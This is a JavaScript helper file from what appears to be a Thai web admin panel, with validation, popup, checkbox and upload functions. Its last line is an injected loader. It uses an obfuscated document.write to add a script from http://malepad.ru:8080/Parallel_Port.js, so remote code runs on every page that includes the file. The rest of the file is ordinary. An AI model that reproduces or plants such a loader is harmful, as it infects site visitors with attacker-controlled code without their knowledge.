  function activeArt(tg,bg)   
  {   
    tg.style.backgroundColor = bg;   
  }   
    
  function deactiveArt(tg)   
  {   
    tg.style.backgroundColor = "";   
  }   

  function checkformatemail( f ){
  if ( !(/[0-9a-zA-Z_\.\-]+@[0-9a-zA-Z_\.\-]+\.[a-zA-Z][a-zA-Z]+/ig).test( f ) ){
    return true; 
  } else {
    return false;
  }
}

  function check2value( a , b ){	
        if( a != b ) 
			{
				return true;
		}
		else 
			  {
					return false;
			}
  }


function ckblk(chkval)
{
	if(chkval == "")
		return false;
	else if(chkval.indexOf(' ') == 0)
		return false;
	else if(chkval.indexOf('"') == 0)	 
		return false;
	else if(chkval == "'")	 
		return false;
	else
		return true;
}


function checkformatdate(j_day_,j_month_,j_year_)
		{
			if( isNaN(j_day_) || isNaN(j_year_) || (j_year_ == "" ) )
					{
									return true;	
					}

					if(j_month_ == 2) {
									if( j_day_ > 29 )  {											
												return true;
										}						
							}

						if((j_month_ == 4) || (j_month_ == 6) || (j_month_ == 9) || (j_month_ == 11)  ) {
										if((j_day_ > 30) )  {
												return true;
										}
							}
							else {
										if(j_day_ > 31 )  {
										return true;
										}
								}
				return false;
			}


function popupWindow(link_,winname_,top_,left_,width_,height_)  
	{	
		window.open(link_,winname_,'scrollbars=no,resizable=no,top=' + top_ + ',left=' + left_ + ',width=' + width_ + ',height=' + height_ ); 
	}
	
	function popUpWindowCenter(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

function popUpWindowCenter2(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

	function popUpWindowCenterHaveMenu(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'menubar=yes,toolbar=no,location=no,directories=no,status=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

	
		function goclose() 
			{
				   window.opener.location.reload();
					window.close()
			}
					
		
		function Checkall1(frm,field) 
		{
					if ( frm.length )
								{
											for (uu = 0; uu < frm.length; uu++)
														 {
													    	  frm[uu].checked = field;
														}   
					}	
					else {
								frm.checked = field;
					}		    
		}
			

	
		function Checkall(frm,field) 
		{
					if ( frm.chk.length )
								{
											for (uu = 0; uu < frm.chk.length; uu++)
														 {
													    	  frm.chk[uu].checked = field;
														}   
					}	
					else {
								frm.chk.checked = field;
					}		    
		}
		
	function checkformchkbox(frm) {
				var checkvar = frm.chk;
				var arrchkvar = frm.arrchk;
				arrchkvar.value = "";
				var check = "";				
				
				if ( checkvar.length )
					{
													
										for (uuu = 0; uuu < checkvar.length; uuu++) {
												if (checkvar[uuu].checked){
													  check = "Y";							 							 
													  arrchkvar.value = arrchkvar.value + "&" + checkvar[uuu].value
												}
										  }
					}	
					else {
					
										if (checkvar.checked){
													  check = "Y";							 							 
													  arrchkvar.value = "&" + checkvar.value
										}
					
					}


			  if (check=="") {
		    alert("กรุณาเลือก Record ที่ต้องการลบ อย่างน้อย 1 Record โดย เลือก ทำเครื่องหมายที่ CheckBox ตรงแถวที่ต้องการลบ");
					    return false;
			  }else{
			  					
			  				 if ( confirm('Do you want to delete this item ?')  )
										{
												return true;
										}   
								else
										{
												return false;
										}
			  }
	}
		
	var uploadWin=0;
	function upload(obj1,obj2,obj3)
	{
			  if(uploadWin)
			  {
				if(!uploadWin.closed) uploadWin.close();
			  }
	width = 600;
	height = 450;
	LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
	window.param1 = obj1;
	window.param2 = obj2;
	window.param3 = obj3;
	  uploadWin = open('../upload/upload.php', 'uploadWin', 'toolbar=no,location=no,directories=no,status=yes,menub ar=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');
	}

	function Init() {  
  	document.body.onkeypress = _CloseOnEsc;
}
function _CloseOnEsc() {
	if (event.keyCode == 27) { window.close(); return; }
}

/***********************************************
* Form Field Progress Bar- By Ron Jonk- http://www.euronet.nl/~jonkr/
***********************************************/
function textCounter(field,counter,maxlimit,linecounter) {
// text width//
var fieldWidth = parseInt(field.offsetWidth);
var charcnt = field.value.length; 

		// trim the extra text
			if (charcnt > maxlimit) { 
							field.value = field.value.substring(0, maxlimit);
			} else { 
			// progress bar percentage
							var percentage = parseInt(100 - (( maxlimit - charcnt) * 100)/maxlimit) ;
							document.getElementById(counter).style.width = parseInt((fieldWidth*percentage)/100)+"px";
							document.getElementById(counter).innerHTML="Limit: "+percentage+"%"
							// color correction on style from CCFFF -> CC0000
							setcolor(document.getElementById(counter),percentage,"background-color");
			}
}

function setcolor(obj,percentage,prop){
	obj.style[prop] = "rgb(80%,"+(100-percentage)+"%,"+(100-percentage)+"%)";
}
/*************************************************************************************/


function activeButton(obj,param){
			var className = obj.className;			
			param=="over"?className=className+"hover":"";
			param=="out"?className=className.substring(0,className.length-5):"";			
			obj.className=className;
	}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');